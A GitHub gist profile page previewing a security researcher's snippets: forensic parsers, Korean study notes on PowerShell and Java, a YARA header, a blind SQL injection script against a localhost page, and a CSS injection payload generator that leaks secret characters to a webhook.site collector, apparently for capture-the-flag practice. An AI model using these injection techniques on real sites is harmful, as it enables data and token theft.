Skip to content

Instantly share code, notes, and snippets.

View hyuunnn's full-sized avatar
๐Ÿ˜ตโ€๐Ÿ’ซ

Hyun Yi hyuunnn

๐Ÿ˜ตโ€๐Ÿ’ซ
View GitHub Profile
@hyuunnn
hyuunnn / blind-sqli.py
Last active August 1, 2024 11:00
blind-sql-injection
import requests
url = "http://localhost:9200/sqli3.php"
flag = ""
flag_len = 41
for idx in range(1, flag_len):
tmp = []
for count in range(1, 9):
payload = f"""a' = 'a'#
@hyuunnn
hyuunnn / css.py
Last active July 31, 2024 04:44
css-injection
import string
import pyperclip
token = "token"
flag = "flag{"
payload = "<style>"
for i in string.printable.split(" ")[0].replace("\"",""): # "์ฒ˜๋ฆฌ์—์„œ ๋ญ”๊ฐ€ ๋ฌธ์ œ๊ฐ€ ์žˆ์–ด์„œ ์ผ๋‹จ ์ œ๊ฑฐํ•จ
payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}'
payload += "\n"
payload += "</style>"

asdqwewqe

@hyuunnn
hyuunnn / powershell.md
Created March 11, 2024 08:01
powershell
layout title description date tags
post
Powershell ์–ธ์–ด์˜ ํŠน์ดํ•œ ๊ธฐ๋Šฅ
2022-11-12
Powershell

ํ•™๊ต ๊ณผ์ œ๋กœ rareํ•œ ์–ธ์–ด์˜ ํŠœํ† ๋ฆฌ์–ผ์„ ๋งŒ๋“œ๋Š”๊ฒŒ ์žˆ์–ด์„œ Powershell์„ ์„ ํƒํ•˜์˜€๋‹ค. (ํ•ด๋‹น ์–ธ์–ด๋Š” ํ˜„์žฅ์—์„œ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์–ด์•ผ ํ•œ๋‹ค.)

/*
YARA Rule Set
Author: hyuunnn
Date: 2024-02-17
Identifier: testtestt
Reference: https://github.com/Neo23x0/yarGen
*/
/* Rule Set ----------------------------------------------------------------- */
@hyuunnn
hyuunnn / EnumSet์— ๋Œ€ํ•œ ์„ค๋ช….md
Created March 4, 2023 09:12
EnumSet์— ๋Œ€ํ•œ ์„ค๋ช…

EnumSet์€ Java์˜ ํŠน์ˆ˜ํ•œ ์ปฌ๋ ‰์…˜ ํด๋ž˜์Šค๋กœ, enum ํƒ€์ž…์˜ ์š”์†Œ๋“ค์„ ํšจ์œจ์ ์œผ๋กœ ์ €์žฅํ•˜๊ณ  ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโท. EnumSet์€ ๋‚ด๋ถ€์ ์œผ๋กœ ๋น„ํŠธ ๋ฒกํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ enum ์š”์†Œ๋“ค์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹คโถ. ๋น„ํŠธ ๋ฒกํ„ฐ๋Š” long ํƒ€์ž…์˜ ๋ณ€์ˆ˜๋กœ ๊ตฌํ˜„๋˜๋Š”๋ฐ, long ํƒ€์ž…์€ 64๋น„ํŠธ๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ 64๊ฐœ ์ดํ•˜์˜ enum ์š”์†Œ๋“ค์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

EnumSet์€ ์ •์  ํŒฉํ† ๋ฆฌ ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ค‘์—๋Š” of ๋ฉ”์„œ๋“œ๊ฐ€ ์žˆ๋Š”๋ฐ, ์ด ๋ฉ”์„œ๋“œ๋Š” enum ์š”์†Œ๋“ค์„ ์ง์ ‘ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ „๋‹ฌํ•˜์—ฌ EnumSet์„ ๋งŒ๋“ญ๋‹ˆ๋‹คโต. ์˜ˆ๋ฅผ ๋“ค์–ด,

EnumSet<DayOfWeek> weekend = EnumSet.of(DayOfWeek.SATURDAY, DayOfWeek.SUNDAY);

์ด ์ฝ”๋“œ๋Š” DayOfWeek์ด๋ผ๋Š” enum ํƒ€์ž…์—์„œ ํ† ์š”์ผ๊ณผ ์ผ์š”์ผ๋งŒ ํฌํ•จํ•˜๋Š” EnumSet์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

@hyuunnn
hyuunnn / README.md
Created September 13, 2022 01:22
forensic artifact

Forensic Artifact

  • NTFS Log Tracker
    • $MFT, $Usnjrnl:$J, $LogFile
  • REGA, AmcacheParser, libregf
    • C:/Windows/System32/config (SAM, SECURITY, SOFTWARE, SYSTEM)
    • C:/Users/USERNAME (USERNAME.ntuser.dat)
    • C:/Windows/AppData/Local/Microsoft/Windows (USERNAME.UsrClass.dat)
    • C:/Windows/appcompat/Programs/Amcache.hve (Amcache)
  • AppCompatCache (Shimcache)
@hyuunnn
hyuunnn / run.py
Created September 21, 2021 03:38
IconLayouts
from winreg import *
class IconLayouts:
def __init__(self):
self.idx = 0x18
self.data = self.get_reg_data()
def parse_data(self, size):
result = self.data[self.idx:self.idx+size]
self.idx += size
@hyuunnn
hyuunnn / README.md
Last active September 27, 2023 19:35
lnk_parser

ex) python lnk.py "C:/lnkfile/"

ex) python lnk2.py "C:/lnkfile/" --> using pylnk

pylnk show_window_value is incorrect data

So I created the code to parse the ShowWindow.

@hyuunnn
hyuunnn / IconCache_parser.py
Created November 21, 2018 07:01
IconCache_parser
import struct
import binascii
class IconCache_parser:
def __init__(self, filename):
self.filename = filename
self.data = open(self.filename,"rb").read()
self.header_size = struct.unpack("<L",self.data[:0x4])[0]
self.signature = self.data[0x4:0x8]
self.file_version = self.data[0x8:0xc]